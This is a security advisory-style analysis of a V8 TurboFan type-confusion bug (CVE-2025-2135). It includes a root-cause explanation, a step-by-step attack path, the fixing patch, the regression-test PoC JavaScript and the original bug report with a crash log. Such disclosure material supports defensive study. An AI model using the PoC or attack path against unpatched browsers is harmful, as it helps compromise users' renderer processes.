CVE-2025-2135
Overview
Background
- `TurboFan`
- V8’s optimizing compiler, which specializes code based on inferred object shapes (maps).
- Map
- the hidden-class descriptor that fixes an object’s layout and
ElementsKind, and whichTurboFanrelies on to elide runtime checks. - `NodeProperties::InferMapsUnsafe`
- a
TurboFanhelper that walks the effect chain to determine the possible maps of a node, returningkReliableMapsorkUnreliableMapsto signal whether later checks can be dropped. - `TransitionElementsKindOrCheckMap`
- an effect node that transitions an object’s
ElementsKind(e.g.PACKED_SMI→HOLEY_DOUBLE_ELEMENTS), thereby mutating that object’s map.
Root Cause Analysis
When NodeProperties::InferMapsUnsafe in src/compiler/node-properties.cc walked back over an IrOpcode::kTransitionElementsKindOrCheckMap effect, it treated the maps of the receiver under analysis as still reliable. The problem is that the transition operates on its object input, which may alias the receiver whose maps are being inferred; if they alias, the transition changes the receiver’s map, invalidating any previously observed map. Because the function still reported kReliableMaps, downstream TurboFan code assumed the stale, pre-transition map held and skipped a map check, producing type confusion.
The fix sets result = kUnreliableMaps for the TransitionElementsKindOrCheckMap case so callers know the inferred maps cannot be trusted and must re-check, closing the invariant gap.
TransitionElementsKindOrCheckMap could not affect the receiver’s inferred maps while ignoring that its object operand can alias that receiver; marking the result kUnreliableMaps forces a fresh map check instead of trusting the outdated inference.Attack Path
- Set up aliasing arrays
Craft a function that reads
v3[0]andv2[0]soTurboFaninserts twoTransitionElementsKindOrCheckMapnodes, then arrange forv2andv3to be the same array at optimized-call time. - Trigger the first transition
Reading
v3[0]transitions the shared array toHOLEY_DOUBLE_ELEMENTS, whichInferMapsUnsaferecords as a reliable map for the receiver. - Mutate the aliasing map
The second access on
v2(aliasingv3) issues a transition that changes the shared array’s map, but the compiler still believes the earlierHOLEY_DOUBLE_ELEMENTSmap is reliable. - Consume the stale map
A later operation (e.g.
Array.prototype.indexOf.call(v3)) is compiled to trust the wrongElementsKind, reinterpreting the backing store under the wrong type. - Achieve type confusion The mismatch between the assumed and actual element representation yields an out-of-bounds or type-confused view of memory that an attacker can leverage.
Impact Assessment
V8 engine, letting the same-shape assumption be violated to read or write memory as the wrong type. This runs in the renderer process and requires only that the victim execute attacker-controlled JavaScript that is optimized by TurboFan, with no special privileges beyond page execution. Such a primitive is a strong stepping stone toward memory corruption and renderer compromise.Files Changed
src/compiler/node-properties.cctest/mjsunit/compiler/regress-400052777.js
Audit Directions
- Aliasing effect nodesReview every case in
NodeProperties::InferMapsUnsafeand related map-inference walks for effect operations whose operand may alias the analyzedreceiverand silently mutate its map. - Map-mutating transitionsAudit other
ElementsKind/map transition opcodes to confirm each downgrades inferred maps tokUnreliableMapsrather than assuming the pre-transition map survives. - Reliable-map assumptionsLook for
TurboFanoptimizations that drop map orElementsKindchecks based on akReliableMapsresult and verify no intervening aliasing write can invalidate that reliability.
Patch
From 8b490a9690b859346a68a3d2a7008b4e1852c3ea Mon Sep 17 00:00:00 2001
From: Marja Hölttä <marja@chromium.org>
Date: Tue, 04 Mar 2025 14:32:21 +0100
Subject: [PATCH] [turbofan] Fix TransitionElementsKindOrCheckMap
Take into account that TransitionElementsKindOrCheckMap might change the
map of an aliasing object.
h/t dmercadier@ for figuring out the fix.
Bug: 400052777
Change-Id: I07ac56058591619736dcc2d8f7355a7a34ecbbc7
Fixed: 400052777
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/6321930
Reviewed-by: Darius Mercadier <dmercadier@chromium.org>
Commit-Queue: Marja Hölttä <marja@chromium.org>
Cr-Commit-Position: refs/heads/main@{#99049}
---
diff --git a/src/compiler/node-properties.cc b/src/compiler/node-properties.cc
index b5c27ee..6e2ef92 100644
--- a/src/compiler/node-properties.cc
+++ b/src/compiler/node-properties.cc
@@ -458,6 +458,9 @@
ElementsTransitionWithMultipleSourcesOf(effect->op()).target()};
return result;
}
+ // `receiver` and `object` might alias, so
+ // TransitionElementsKindOrCheckMaps might change receiver's map.
+ result = kUnreliableMaps;
break;
}
case IrOpcode::kJSCreate: {
diff --git a/test/mjsunit/compiler/regress-400052777.js b/test/mjsunit/compiler/regress-400052777.js
new file mode 100644
index 0000000..198462d
--- /dev/null
+++ b/test/mjsunit/compiler/regress-400052777.js
@@ -0,0 +1,31 @@
+// Copyright 2025 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --turbofan --no-always-turbofan
+
+function main() {
+ function f0(v2, v3) {
+ // TransitionElementsKindOrCheckMap: PACKED_SMI -> HOLEY_DOUBLE_ELEMENTS
+ var v4 = v3[0];
+
+ // TransitionElementsKindOrCheckMap: HOLEY_DOUBLE_ELEMENTS -> HOLEY_ELEMENTS
+ var v5 = v2[0];
+
+ // If v2 == v3, v3 doesn't have HOLEY_DOUBLE_ELEMENTS anymore.
+ Array.prototype.indexOf.call(v3);
+ }
+ %PrepareFunctionForOptimization(f0);
+
+ const holey = new Array(1);
+ holey[0] = 'tagged'; // HOLEY_ELEMENTS
+ f0(holey, [1]);
+
+ const holey_double = new Array(1);
+ holey_double[0] = 0.1; // HOLEY_DOUBLE_ELEMENTS
+
+ %OptimizeFunctionOnNextCall(f0);
+ f0(holey_double, holey_double);
+}
+main();
+main();
Regression Test / PoC
diff --git a/test/mjsunit/compiler/regress-400052777.js b/test/mjsunit/compiler/regress-400052777.js
new file mode 100644
index 0000000..198462d
--- /dev/null
+++ b/test/mjsunit/compiler/regress-400052777.js
@@ -0,0 +1,31 @@
+// Copyright 2025 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --turbofan --no-always-turbofan
+
+function main() {
+ function f0(v2, v3) {
+ // TransitionElementsKindOrCheckMap: PACKED_SMI -> HOLEY_DOUBLE_ELEMENTS
+ var v4 = v3[0];
+
+ // TransitionElementsKindOrCheckMap: HOLEY_DOUBLE_ELEMENTS -> HOLEY_ELEMENTS
+ var v5 = v2[0];
+
+ // If v2 == v3, v3 doesn't have HOLEY_DOUBLE_ELEMENTS anymore.
+ Array.prototype.indexOf.call(v3);
+ }
+ %PrepareFunctionForOptimization(f0);
+
+ const holey = new Array(1);
+ holey[0] = 'tagged'; // HOLEY_ELEMENTS
+ f0(holey, [1]);
+
+ const holey_double = new Array(1);
+ holey_double[0] = 0.1; // HOLEY_DOUBLE_ELEMENTS
+
+ %OptimizeFunctionOnNextCall(f0);
+ f0(holey_double, holey_double);
+}
+main();
+main();
Original Bug Report
Signal SIGTRAP in v8
VULNERABILITY DETAILS
INTRODUCE
After bisect, it was determined that following commit caused this problem.
- Commit Info
- Version: 97378
- link: https://crrev.com/b8d3f7d0cf6461b59ec41379e49534eb7bebc210
- Commit Message
commit b8d3f7d0cf6461b59ec41379e49534eb7bebc210
Author: Marja Hölttä <marja@chromium.org>
Date: Mon Nov 25 15:13:39 2024 +0100
[turbofan] Reduce the amount of map loads during elements kind transitions
Adopt the "TransitionElementsKindOrCheckMap" concept from Maglev. It
allows us to do only one map load instead of one map load per transition.
Change-Id: I1d9ea645fd5359bf72cf70c79e714676c73c6233
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/6035112
Commit-Queue: Marja Hölttä <marja@chromium.org>
Reviewed-by: Darius Mercadier <dmercadier@chromium.org>
Cr-Commit-Position: refs/heads/main@{#97378}
CRASH LOG
- Debug output
# CMD: /tmp/d8-linux-debug-v8-component-99019/d8 --allow-natives-syntax poc.js
# OUTPUT ==============================================================
#
# Fatal error in ../../src/objects/object-type.cc, line 82
# Type cast failed in CAST(elements) at ../../src/builtins/builtins-array-gen.cc:1353
Expected FixedDoubleArray but found 0x32ae00288a31: [FixedArray]
- map: 0x32ae00000565 <Map(FIXED_ARRAY_TYPE)>
- length: 1
0: 0x32ae00288a3d <HeapNumber 0.1>
#
#
#
#FailureMessage Object: 0x7ffeb2544cf0
==== C stack trace ===============================
/tmp/d8-linux-debug-v8-component-99019/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x13) [0x7f22bca27373]
/tmp/d8-linux-debug-v8-component-99019/libv8_libplatform.so(+0x1b1bd) [0x7f22bc9d21bd]
/tmp/d8-linux-debug-v8-component-99019/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x194) [0x7f22bca0a8a4]
/tmp/d8-linux-debug-v8-component-99019/libv8.so(v8::internal::CheckObjectType(unsigned long, unsigned long, unsigned long)+0x3be1) [0x7f22ba40c441]
/tmp/d8-linux-debug-v8-component-99019/libv8.so(+0x20410b5) [0x7f22b88410b5]
Other
Please note to include the flags --allow-natives-syntax for clusterfuzz classification.
VERSION Tested on v8 version: 13.3.0 - 13.5.0
REPRODUCTION CASE
- Download debug v8 from: gs://v8-asan/linux-debug/d8-linux-debug-v8-component-99019.zip
- Run:
d8 --allow-natives-syntax poc.js
FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION Type of crash: tab
CREDIT INFORMATION Reporter credit: Zhenghang Xiao (@Kipreyyy) and Nan Wang (@eternalsakura13)